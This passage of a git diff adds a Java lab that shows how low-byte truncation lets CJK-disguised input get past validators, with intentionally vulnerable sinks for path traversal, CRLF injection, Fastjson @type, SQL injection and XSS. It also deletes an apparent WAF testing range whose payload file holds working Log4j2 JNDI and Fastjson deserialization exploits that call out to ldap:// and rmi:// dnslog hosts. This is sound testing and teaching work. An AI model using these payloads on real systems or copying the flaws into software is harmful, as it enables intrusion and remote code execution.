"阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64"; + String sqlPayload = ghostAscii("1 union select user, password from users"); + String xssPayload = ghostAscii(""); + return "Ghost Bits Playground" + + style() + + "

Cast Attack / Ghost Bits

Ghost Bits Playground

演示重点不是“中文危险”,而是“检查阶段看到的字符串”和“执行阶段落下去的低字节”不是同一个东西。这个页面现在按攻击链分组展示,便于先看 low-byte 变形,再看路径、协议、解析器和业务 sink 如何接住同一份输入。

" + + "

三段对照视图

建议用同一套观察方式去点每个按钮:原始输入阶段通常无害,low-byte 还原阶段暴露真实语义,最终 sink 阶段把它当成路径、Header、JSON、SQL 或 HTML 执行。

1

原始输入

WAF、黑名单和人工检查多数只看到这一层。

2

Low-Byte 还原

(byte) chwriteBytes、宽松解码会丢掉高位,恢复危险字节。

3

最终 Sink

路径、Header、JSON、SQL、HTML 在这一层获得真实攻击含义。

" + + "

Foundations

基础对照

先确认哪些字符会在 low-byte 阶段变成危险字节,再进入复杂利用链。

" + + card("1. 低字节视图", "输入任意字符串,看 Unicode 视图和 low-byte 视图如何分离。比如 陪、阮、严、灵、瘍、瘊。", "sourceInput", "陪sp", "inspectSource()", "分析输入", "inspectResult") + + card("2. 上传扩展名绕过", "校验时只看原始文件名,不含 .jsp 就放行;保存时错误地按低 8 位写文件名。`1.陪sp` 会落成 `1.jsp`。", "uploadInput", "1.陪sp", "runUpload()", "模拟上传", "uploadResult") + + "
" + + "

Paths & Protocols

路径与协议边界

这些场景展示 low-byte 还原后如何改变路径语义、协议结构和文件读取结果。

" + + card("3. 路径变形 / 双重解析", "先做一次看似安全的路径检查,再在后续阶段把低字节折叠成 `.%u002e` 并继续解码。`阮严灵丰丰甲来/secret/flag.txt` 最终会指向 `../secret/flag.txt`。", "pathInput", "阮严灵丰丰甲来/secret/flag.txt", "runPath()", "模拟读取", "pathResult") + + card("4. CRLF / Header 注入", "展示高位字符在协议边界变成 `\\r\\n` 后,如何改写 HTTP 头结构。`token瘍瘊X-Evil: yes` 会被拆成两行。", "headerInput", "token瘍瘊X-Evil: yes", "runHeader()", "模拟写头", "headerResult") + + card("7. 多段幽灵路径到 /etc/passwd", "更贴近你图片里的场景:多段 `阮严灵丰丰甲来/` 先折叠成 `.%u002e/`,再经 `%u002e -> .` 与 `%64 -> d` 的两次解码,最终从伪装路径还原到 `/etc/passwd`。", "fileReadInput", absoluteReadPayload, "runFileRead()", "模拟文件读取", "fileReadResult") + + "
" + + "

Parsers & Sinks

解析器与业务 Sink

这些场景更接近真实业务,同一份原始输入在解析器和下游 sink 里会获得完全不同的安全语义。

" + + card("5. JSON / Fastjson @type", "先看原始 JSON 里并没有 ASCII `@type`,再看错误 low-byte 转换后如何还原成真正的 `@type`,并被 Fastjson 解析成 `java.awt.Rectangle`。", "jsonInput", escapeHtmlAttribute(autoTypePayload), "runJsonAutoType()", "模拟 JSON 解析", "jsonResult") + + card("6. JSON 字段绕过到业务语义", "模拟接口在检查阶段只盯原始文本,随后把 low-byte JSON 交给解析器。原文里看不到 `root@localhost`,解析后业务层却拿到了真实用户名。", "userJsonInput", escapeHtmlAttribute(usernamePayload), "runJsonUser()", "模拟业务解析", "userJsonResult") + + card("8. Ghost Bits -> SQLi", "检查阶段原文里看不到 ASCII `union select`,但 low-byte 还原后变成真实 SQL 片段,并被拼接进查询语句。", "sqliInput", escapeHtmlAttribute(sqlPayload), "runSqli()", "模拟 SQL 注入", "sqliResult") + + card("9. Ghost Bits -> XSS", "原始输入不是普通 `"; + } + + @GetMapping(value = "/api/inspect", produces = MediaType.TEXT_PLAIN_VALUE) + public String inspect(@RequestParam String input) { + return describe(input); + } + + @GetMapping(value = "/api/upload-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String uploadSink(@RequestParam String filename) throws IOException { + boolean validatorAllows = !filename.toLowerCase().contains(".jsp"); + String storedName = lowByteString(filename); + Path target = uploadRoot.resolve(storedName).normalize(); + Files.createDirectories(target.getParent()); + Files.write(target, ("ghost-bits upload demo: " + storedName + "\n").getBytes(StandardCharsets.UTF_8), + StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING); + + return "validator_allows=" + validatorAllows + + "\noriginal_filename=" + escapeVisible(filename) + + "\nstored_filename=" + escapeVisible(storedName) + + "\nstored_path=" + target + + "\nlow_byte_report=\n" + describe(filename); + } + + @GetMapping(value = "/api/path-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String pathSink(@RequestParam("path") String userPath) throws IOException { + boolean validatorAllows = !containsTraversal(userPath); + String lowByte = lowByteString(userPath); + String decoded = decodePercentU(lowByte); + Path resolved = publicRoot.resolve(decoded).normalize(); + boolean escaped = !resolved.startsWith(publicRoot); + String content = Files.exists(resolved) ? new String(Files.readAllBytes(resolved), StandardCharsets.UTF_8) : ""; + + return "validator_allows=" + validatorAllows + + "\noriginal_path=" + escapeVisible(userPath) + + "\nlow_byte_path=" + escapeVisible(lowByte) + + "\ndecoded_path=" + escapeVisible(decoded) + + "\nresolved_path=" + resolved + + "\nescaped_public_root=" + escaped + + "\nfile_content=" + escapeVisible(content) + + "\nlow_byte_report=\n" + describe(userPath); + } + + @GetMapping(value = "/api/header-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String headerSink(@RequestParam String value) { + String rawLine = "X-Debug: " + lowByteString(value); + byte[] bytes = lowByteBytes("X-Debug: " + value); + List lines = splitHeaderLines(rawLine); + return "original_value=" + escapeVisible(value) + + "\nraw_header_line=" + escapeVisible(rawLine) + + "\nraw_header_hex=" + bytesToHex(bytes) + + "\nparsed_lines=" + lines + + "\nlow_byte_report=\n" + describe(value); + } + + @GetMapping(value = "/api/json-autotype", produces = MediaType.TEXT_PLAIN_VALUE) + public String jsonAutotype(@RequestParam String payload) { + String lowBytePayload = lowByteString(payload); + boolean rawContainsAutoType = payload.contains("@type"); + boolean lowByteContainsAutoType = lowBytePayload.contains("@type"); + try { + Object parsed = JSON.parse(lowBytePayload); + return "raw_contains_at_type=" + rawContainsAutoType + + "\nlow_byte_contains_at_type=" + lowByteContainsAutoType + + "\noriginal_payload=" + escapeVisible(payload) + + "\nlow_byte_payload=" + escapeVisible(lowBytePayload) + + "\nparsed_class=" + parsed.getClass().getName() + + "\nparsed_value=" + parsed + + "\nlow_byte_report=\n" + describe(payload); + } catch (RuntimeException e) { + return "raw_contains_at_type=" + rawContainsAutoType + + "\nlow_byte_contains_at_type=" + lowByteContainsAutoType + + "\noriginal_payload=" + escapeVisible(payload) + + "\nlow_byte_payload=" + escapeVisible(lowBytePayload) + + "\nparse_error=" + e.getClass().getName() + ": " + e.getMessage() + + "\nlow_byte_report=\n" + describe(payload); + } + } + + @GetMapping(value = "/api/json-user", produces = MediaType.TEXT_PLAIN_VALUE) + public String jsonUser(@RequestParam String payload) { + String lowBytePayload = lowByteString(payload); + boolean validatorAllows = !payload.contains("root@localhost"); + JSONObject jsonObject = JSON.parseObject(lowBytePayload); + String username = jsonObject.getString("username"); + boolean resolvedDangerousUser = "root@localhost".equals(username); + return "validator_allows=" + validatorAllows + + "\noriginal_payload=" + escapeVisible(payload) + + "\nlow_byte_payload=" + escapeVisible(lowBytePayload) + + "\nparsed_username=" + escapeVisible(username) + + "\nresolved_dangerous_user=" + resolvedDangerousUser + + "\nmock_sink_result=lookup(" + escapeVisible(username) + ")" + + "\nlow_byte_report=\n" + describe(payload); + } + + @GetMapping(value = "/api/file-read-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String fileReadSink(@RequestParam("path") String userPath) throws IOException { + boolean validatorAllows = !containsTraversal(userPath); + String lowByte = lowByteString(userPath); + String percentUDecoded = decodePercentU(lowByte); + String fullyDecoded = decodePercentAscii(percentUDecoded); + Path resolved = publicRoot.resolve(fullyDecoded).normalize(); + boolean escaped = !resolved.startsWith(publicRoot); + boolean exists = Files.exists(resolved); + String contentPreview = exists ? preview(resolved) : ""; + + return "validator_allows=" + validatorAllows + + "\noriginal_path=" + escapeVisible(userPath) + + "\nlow_byte_path=" + escapeVisible(lowByte) + + "\npercent_u_decoded=" + escapeVisible(percentUDecoded) + + "\nfully_decoded_path=" + escapeVisible(fullyDecoded) + + "\nresolved_path=" + resolved + + "\nescaped_public_root=" + escaped + + "\nfile_exists=" + exists + + "\nfile_preview=" + escapeVisible(contentPreview) + + "\nlow_byte_report=\n" + describe(userPath); + } + + @GetMapping(value = "/api/sqli-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String sqliSink(@RequestParam("input") String input) { + String lowByte = lowByteString(input); + String normalized = lowByte.toLowerCase(); + boolean validatorAllows = !input.toLowerCase().contains("union select") && !input.contains("'"); + boolean dangerous = normalized.contains("union select") || normalized.contains(" or ") || lowByte.contains("'"); + String sql = "SELECT id, username FROM users WHERE username = '" + lowByte + "'"; + String mockResult = dangerous + ? "[mock-db] low-byte payload changed query semantics and exposed extra rows" + : "[mock-db] normal single-row lookup"; + return "validator_allows=" + validatorAllows + + "\noriginal_input=" + escapeVisible(input) + + "\nlow_byte_input=" + escapeVisible(lowByte) + + "\ndangerous_sql_tokens_detected=" + dangerous + + "\nconstructed_sql=" + escapeVisible(sql) + + "\nmock_query_result=" + mockResult + + "\nlow_byte_report=\n" + describe(input); + } + + @GetMapping(value = "/api/xss-sink", produces = MediaType.TEXT_PLAIN_VALUE) + public String xssSink(@RequestParam("input") String input) { + String lowByte = lowByteString(input); + String lower = lowByte.toLowerCase(); + boolean validatorAllows = !input.toLowerCase().contains("" + lowByte + ""; + return "validator_allows=" + validatorAllows + + "\noriginal_input=" + escapeVisible(input) + + "\nlow_byte_input=" + escapeVisible(lowByte) + + "\ndangerous_html_tokens_detected=" + dangerous + + "\nrendered_html=" + escapeVisible(html) + + "\nwould_execute_in_browser=" + dangerous + + "\nlow_byte_report=\n" + describe(input); + } + + @GetMapping(value = "/api/status", produces = MediaType.TEXT_PLAIN_VALUE) + public String status() throws IOException { + List uploads = new ArrayList(); + if (Files.exists(uploadRoot)) { + try (Stream stream = Files.list(uploadRoot)) { + stream.forEach(path -> uploads.add(path.getFileName().toString())); + } + } + return "lab_root=" + labRoot + + "\nuploads=" + uploads + + "\npublic_hello_exists=" + Files.exists(publicRoot.resolve("hello.txt")) + + "\nsecret_flag_exists=" + Files.exists(secretRoot.resolve("flag.txt")); + } + + private boolean containsTraversal(String path) { + return path.contains("../") || path.contains("..\\") || path.contains("%2e") || path.contains("%2E"); + } + + private String decodePercentU(String input) { + StringBuilder out = new StringBuilder(); + for (int i = 0; i < input.length(); ) { + if (i + 5 < input.length() && input.charAt(i) == '%' && input.charAt(i + 1) == 'u') { + String hex = input.substring(i + 2, i + 6); + if (isAsciiHex(hex)) { + out.append((char) Integer.parseInt(hex, 16)); + i += 6; + continue; + } + } + out.append(input.charAt(i)); + i++; + } + return out.toString(); + } + + private boolean isAsciiHex(String value) { + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + boolean digit = c >= '0' && c <= '9'; + boolean lower = c >= 'a' && c <= 'f'; + boolean upper = c >= 'A' && c <= 'F'; + if (!digit && !lower && !upper) { + return false; + } + } + return true; + } + + private String decodePercentAscii(String input) { + StringBuilder out = new StringBuilder(); + for (int i = 0; i < input.length(); ) { + if (i + 2 < input.length() && input.charAt(i) == '%') { + String hex = input.substring(i + 1, i + 3); + if (isAsciiHex(hex)) { + out.append((char) Integer.parseInt(hex, 16)); + i += 3; + continue; + } + } + out.append(input.charAt(i)); + i++; + } + return out.toString(); + } + + private List splitHeaderLines(String raw) { + List lines = new ArrayList(); + StringBuilder current = new StringBuilder(); + for (int i = 0; i < raw.length(); i++) { + char c = raw.charAt(i); + if (c == '\r') { + continue; + } + if (c == '\n') { + lines.add(current.toString()); + current.setLength(0); + continue; + } + current.append(c); + } + lines.add(current.toString()); + return lines; + } + + private String describe(String input) { + StringBuilder sb = new StringBuilder(); + sb.append("original=").append(escapeVisible(input)).append('\n'); + sb.append("char_count=").append(input.length()).append('\n'); + sb.append("low_byte_string=").append(escapeVisible(lowByteString(input))).append('\n'); + sb.append("low_byte_hex=").append(bytesToHex(lowByteBytes(input))).append('\n'); + sb.append("mapping=").append('\n'); + for (int i = 0; i < input.length(); i++) { + char c = input.charAt(i); + int low = c & 0xff; + sb.append(" [").append(i).append("] ") + .append(escapeVisible(String.valueOf(c))) + .append(" U+").append(String.format("%04X", (int) c)) + .append(" -> 0x").append(String.format("%02X", low)) + .append(" -> ").append(printableAscii(low)) + .append('\n'); + } + return sb.toString(); + } + + private byte[] lowByteBytes(String input) { + byte[] bytes = new byte[input.length()]; + for (int i = 0; i < input.length(); i++) { + bytes[i] = (byte) input.charAt(i); + } + return bytes; + } + + private String lowByteString(String input) { + return new String(lowByteBytes(input), StandardCharsets.ISO_8859_1); + } + + private String ghostAscii(String ascii) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < ascii.length(); i++) { + char c = ascii.charAt(i); + if (c <= 0x7f && c != '\r' && c != '\n') { + sb.append((char) (0x4e00 | c)); + } else { + sb.append(c); + } + } + return sb.toString(); + } + + private String ghostJson(String asciiJson) { + return ghostAscii(asciiJson); + } + + private String bytesToHex(byte[] bytes) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + if (i > 0) { + sb.append(' '); + } + sb.append(String.format("%02X", bytes[i] & 0xff)); + } + return sb.toString(); + } + + private String printableAscii(int value) { + if (value == '\r') { + return "\\r"; + } + if (value == '\n') { + return "\\n"; + } + if (value >= 32 && value <= 126) { + return "'" + (char) value + "'"; + } + return "<0x" + String.format("%02X", value) + ">"; + } + + private String escapeVisible(String value) { + return value.replace("\\", "\\\\") + .replace("\r", "\\r") + .replace("\n", "\\n"); + } + + private String preview(Path path) throws IOException { + byte[] bytes = Files.readAllBytes(path); + String text = new String(bytes, StandardCharsets.UTF_8); + return text.length() > 600 ? text.substring(0, 600) : text; + } + + private String escapeHtmlAttribute(String value) { + return value.replace("&", "&") + .replace("\"", """) + .replace("<", "<") + .replace(">", ">"); + } + + private String escapeHtmlText(String value) { + return value.replace("&", "&") + .replace("<", "<") + .replace(">", ">"); + } + + private void writeIfMissing(Path path, String content) throws IOException { + if (!Files.exists(path)) { + Files.write(path, content.getBytes(StandardCharsets.UTF_8), StandardOpenOption.CREATE_NEW); + } + } + + private String card(String title, String desc, String inputId, String initialValue, String fn, String btn, String resultId) { + return "

" + escapeHtmlText(title) + "

" + escapeHtmlText(desc) + "

等待发送请求...
"; + } + + private String script(String inputId, String url, String resultId) { + return "async function autoLoad" + inputId + "(){await loadText('" + url + "'+encodeURIComponent(valueOf('" + inputId + "')),'" + resultId + "');}"; + } + + private String style() { + return ""; + } +} diff --git a/ghost-bits/src/main/java/myapp/MyApplication.java b/ghost-bits/src/main/java/myapp/MyApplication.java new file mode 100644 index 0000000..99eef29 --- /dev/null +++ b/ghost-bits/src/main/java/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/index/Dockerfile b/index/Dockerfile deleted file mode 100644 index 1b5e171..0000000 --- a/index/Dockerfile +++ /dev/null @@ -1,22 +0,0 @@ -# 使用官方 Python 运行时作为父镜像 -FROM python:3.11-slim - -# 设置工作目录为 /app -WORKDIR /app - -# 将当前目录内容复制到位于 /app 中的容器里 -COPY . /app - -# 安装 requirements.txt 中指定的任何所需软件包 -RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ - -# 使端口 5000 可用于此容器外的其他容器 -EXPOSE 5000 - -# 定义环境变量 -ENV FLASK_APP=app.py -ENV FLASK_RUN_HOST=0.0.0.0 -ENV FLASK_DEBUG=1 - -# 使用 flask 命令运行应用程序 -CMD ["flask", "run"] diff --git a/index/__pycache__/app.cpython-37.pyc b/index/__pycache__/app.cpython-37.pyc deleted file mode 100644 index 764e11f..0000000 Binary files a/index/__pycache__/app.cpython-37.pyc and /dev/null differ diff --git a/index/__pycache__/m.cpython-36.pyc b/index/__pycache__/m.cpython-36.pyc deleted file mode 100644 index b198fc6..0000000 Binary files a/index/__pycache__/m.cpython-36.pyc and /dev/null differ diff --git a/index/__pycache__/vul.cpython-36.pyc b/index/__pycache__/vul.cpython-36.pyc deleted file mode 100644 index bb74df4..0000000 Binary files a/index/__pycache__/vul.cpython-36.pyc and /dev/null differ diff --git a/index/__pycache__/vul.cpython-37.pyc b/index/__pycache__/vul.cpython-37.pyc deleted file mode 100644 index 5788b9f..0000000 Binary files a/index/__pycache__/vul.cpython-37.pyc and /dev/null differ diff --git a/index/app.py b/index/app.py deleted file mode 100644 index 246a9a1..0000000 --- a/index/app.py +++ /dev/null @@ -1,116 +0,0 @@ -from flask import Flask, render_template,jsonify, request -import requests -from vul import requests_config -import os - -app = Flask(__name__) - - -proxy_mode = False -proxies = { - "http": "http://1.1.1.1:8080", - "https": "https://1.1.1.1:8080", -} - -@app.route('/get-request-config') -def get_request_config(): - api = request.args.get('api') - config = requests_config.get(api, {}) - return jsonify(config) - -@app.route('/replay-request', methods=['POST']) -def replay_request(): - try: - data = request.json # 前端发送的请求数据,包括 api、method、url、headers、data 等信息 - print(data) - api = data['api'] - method = data['method'] - url = data['url'] - headers = data['headers'] - requestData = data['data'] - - if method == 'GET': - response = requests.get(url=url, headers=headers) - elif method == 'POST': - response = requests.post(url=url, headers=headers, data=requestData) - - response_data = { - 'status_code': response.status_code, - 'headers': dict(response.headers), - 'text': response.text - } - - return jsonify(response_data) - - except Exception as e: - response_data = { - 'status_code': 500, - 'headers': dict({}), - 'text': str(e) - } - return jsonify(response_data) - -@app.route('/') -def index(): - attack_data = [{**config, 'api': key} for key, config in requests_config.items() if config['type'] == 'attack'] - normal_data = [{**config, 'api': key} for key, config in requests_config.items() if config['type'] == 'normal'] - repair_data = [{**config, 'api': key} for key, config in requests_config.items() if config['type'] == 'repair'] - mistake_data = [{**config, 'api': key} for key, config in requests_config.items() if config['type'] == 'mistake'] - - # When rendering the template - return render_template('index.html', - attack_data=attack_data, - normal_data=normal_data, - repair_data=repair_data, - mistake_data = mistake_data - ) - -@app.route('/', methods=['GET', 'POST']) -def handle_request(attack_type): - if attack_type in requests_config: - config = requests_config[attack_type] - url = config['url'] - headers = config['headers'] - method = config['method'] - - if 'file' in config: - try: - # 处理文件上传 - file_path = config['file'] - param_name = config['parm'] - if os.path.exists(file_path): - with open(file_path, 'rb') as f: - files = {param_name: (os.path.basename(file_path), f)} - if proxy_mode == True: - response = requests.post(url=url, headers=headers, files=files,proxies=proxies) - else: - response = requests.post(url=url, headers=headers, files=files) - else: - return f"File {file_path} not found", 404 - except Exception as e : - return str(e) - else: - # 处理非文件上传请求 - try: - if method == 'GET': - if proxy_mode==True: - response = requests.get(url=url, headers=headers,proxies=proxies) - else: - response = requests.get(url=url, headers=headers) - elif method == 'POST': - data = config.get('data', {}) - if proxy_mode==True: - - response = requests.post(url=url, headers=headers, data=data,proxies=proxies) - else: - response = requests.post(url=url, headers=headers, data=data) - except Exception as e : - return str(e) - return response.text - else: - return "Invalid attack type", 400 - - - -if __name__ == '__main__': - app.run(debug=True) diff --git a/index/m.py b/index/m.py deleted file mode 100644 index 730338f..0000000 --- a/index/m.py +++ /dev/null @@ -1,28 +0,0 @@ -from vul import requests_config - -requests_list = [ - { - 'api': name, - 'name': details['name'], - 'method': details['method'], - 'url': details['url'], - 'type': '攻击' if details['type'] == 'attack' else ('正常' if details['type'] == 'normal' else ('修复' if details['type'] == 'repair' else '误报')) - } - for name, details in requests_config.items() -] - -# Sorting the list based on 'type' -requests_list_sorted = sorted(requests_list, key=lambda x: x['type']) - -# Creating Markdown table with 'name' field included -markdown_table_with_name = "| 接口 | 漏洞名字 | 请求方法 | url | 接口类型 |\n" -markdown_table_with_name += "| :----------------------------------------: | :---------------------------------------------------------: | -------- | :----------------------------------------------------------: | :------: |\n" -for item in requests_list_sorted: - name_with_escaped_pipe = item['name'].replace('|', '\\|') - markdown_table_with_name += "| {api} | {name} | {method} | {url} | {type} |\n".format(api=item['api'], - name=name_with_escaped_pipe, - method=item['method'], - url=item['url'], - type=item['type']) - -print(markdown_table_with_name) \ No newline at end of file diff --git a/index/requirements.txt b/index/requirements.txt deleted file mode 100644 index 30692b7..0000000 --- a/index/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -flask -requests diff --git a/index/templates/index.html b/index/templates/index.html deleted file mode 100644 index 9394cbe..0000000 --- a/index/templates/index.html +++ /dev/null @@ -1,365 +0,0 @@ - - - - - - - 安全测试靶场 - - - - - -

安全漏洞清单-攻击

- - - - - - - - {% for item in attack_data %} - - - - - - - - {% endfor %} -
漏洞名称请求方法接口操作
{{ item.name }}{{ item.method }}{{ item.url }} - - - -
- -

安全漏洞清单-正常

- - - - - - - - {% for item in normal_data %} - - - - - - - - - {% endfor %} -
漏洞名称请求方法接口操作
{{ item.name }}{{ item.method }}{{ item.url }} - - - -
- - -

安全漏洞清单-修复

- - - - - - - - {% for item in repair_data %} - - - - - - - {% endfor %} -
漏洞名称请求方法接口操作
{{ item.name }}{{ item.method }}{{ item.url }} - - - -
- - -

安全漏洞清单-误报

- - - - - - - - {% for item in mistake_data %} - - - - - - - {% endfor %} -
漏洞名称请求方法接口操作
{{ item.name }}{{ item.method }}{{ item.url }} - - - -
- - - - - - - - - - - -
-

响应日志:

-
- - - - - - - - - - - - - - - - - - - diff --git a/index/test.txt b/index/test.txt deleted file mode 100644 index ac1f9a4..0000000 --- a/index/test.txt +++ /dev/null @@ -1 +0,0 @@ -测试文件 \ No newline at end of file diff --git a/index/vul.py b/index/vul.py deleted file mode 100644 index e3bd749..0000000 --- a/index/vul.py +++ /dev/null @@ -1,1471 +0,0 @@ -import os - -host = os.environ.get('HOST', '192.168.0.9') - -# 定义请求的配置 -requests_config = { - 'log4j2_attack': { - 'name': 'Log4j2 远程代码执行漏洞(CVE-2021-44228)', - 'method': 'POST', - 'url': 'http://{}:9998/log4j2'.format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'data': 'name=${jndi:ldap://sectest-log4j2.dnslog.cn/a}', - 'type': 'attack' - }, - 'log4j2_normal': { - 'method': 'POST', - 'url': 'http://{}:9998/log4j2'.format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'data': 'name=1', - 'name': 'Log4j2 远程代码执行漏洞(CVE-2021-44228)', - 'type': 'normal', - }, - 'fastjson1_2_24_attack': { - 'method': 'POST', - 'url': 'http://{}:9999/fastjson1.2.24-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson-test.dnslog.cn","autoCommit":true}};', - 'name': 'fastjson-1.2.24反序列漏洞', - 'type': 'attack', - }, - 'fastjson_1_2_24_normal': { - 'method': 'POST', - 'url': 'http://{}:9999/fastjson1.2.24-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.24反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_25_attack': { - 'method': 'POST', - 'url': 'http://{}:9987/fastjson1.2.25-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson125-dnslog.cn","autoCommit":true}}', - 'name': 'fastjson-1.2.25-1.2.47反序列漏洞-不需要AutoTypeSupport-通杀', - 'type': 'attack', - }, - 'fastjson1_2_25_normal': { - 'method': 'POST', - 'url': 'http://{}:9987/fastjson1.2.25-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-disableAutoTypeSupport', - 'type': 'normal', - }, - - 'fastjson1_2_41_attack': { - 'method': 'POST', - 'url': 'http://{}:9987/fastjson1.2.41-process-setAutoTypeSupport'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://fastjson125-141-setAutoTypeSupport-dnslog.cn","autoCommit":true}', - 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport', - 'type': 'attack', - }, - 'fastjson1_2_41_normal': { - 'method': 'POST', - 'url': 'http://{}:9987/fastjson1.2.41-process-setAutoTypeSupport'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport', - 'type': 'normal', - }, - - 'fastjson1_2_42_attack': { - 'method': 'POST', - 'url': 'http://{}:9986/fastjson1.2.42-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://fastjson1_2_42_attack.dnslog.cn/Exploit", "autoCommit":true}', - 'name': 'fastjson-1.2.42反序列漏洞', - 'type': 'attack', - }, - 'fastjson1_2_42_normal': { - 'method': 'POST', - 'url': 'http://{}:9986/fastjson1.2.42-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.42反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_43_attack': { - 'method': 'POST', - 'url': 'http://{}:9985/fastjson1.2.43-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://fastjson1_2_43_attack.dnslog.cn/Exploit","autoCommit":true]}', - 'name': 'fastjson-1.2.43反序列漏洞', - 'type': 'attack', - }, - 'fastjson1_2_43_normal': { - 'method': 'POST', - 'url': 'http://{}:9985/fastjson1.2.43-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.43反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_45_attack': { - 'method': 'POST', - 'url': 'http://{}:9984/fastjson1.2.45-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://fastjson1.2.45-process.dnslog.cn/Exploit"}}', - 'name': 'fastjson-1.2.45反序列漏洞', - 'type': 'attack', - }, - 'fastjson1_2_45_normal': { - 'method': 'POST', - 'url': 'http://{}:9984/fastjson1.2.45-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.45反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_59_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://fastjson1.2.59-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload1', - 'type': 'attack', - }, - 'fastjson1_2_59_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://fastjson1.2.59-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload2', - 'type': 'attack', - }, - 'fastjson1_2_59_normal': { - 'method': 'POST', - 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)', - 'type': 'normal', - }, - - - 'fastjson1_2_60_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject"}', - 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload1', - 'type': 'attack', - }, - 'fastjson1_2_60_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject"}', - 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload2', - 'type': 'attack', - }, - 'fastjson1_2_60_normal': { - 'method': 'POST', - 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)', - 'type': 'normal', - }, - - - 'fastjson1_2_61_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://fastjson1.2.61-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.61反序列漏洞-payload1', - 'type': 'attack', - }, - 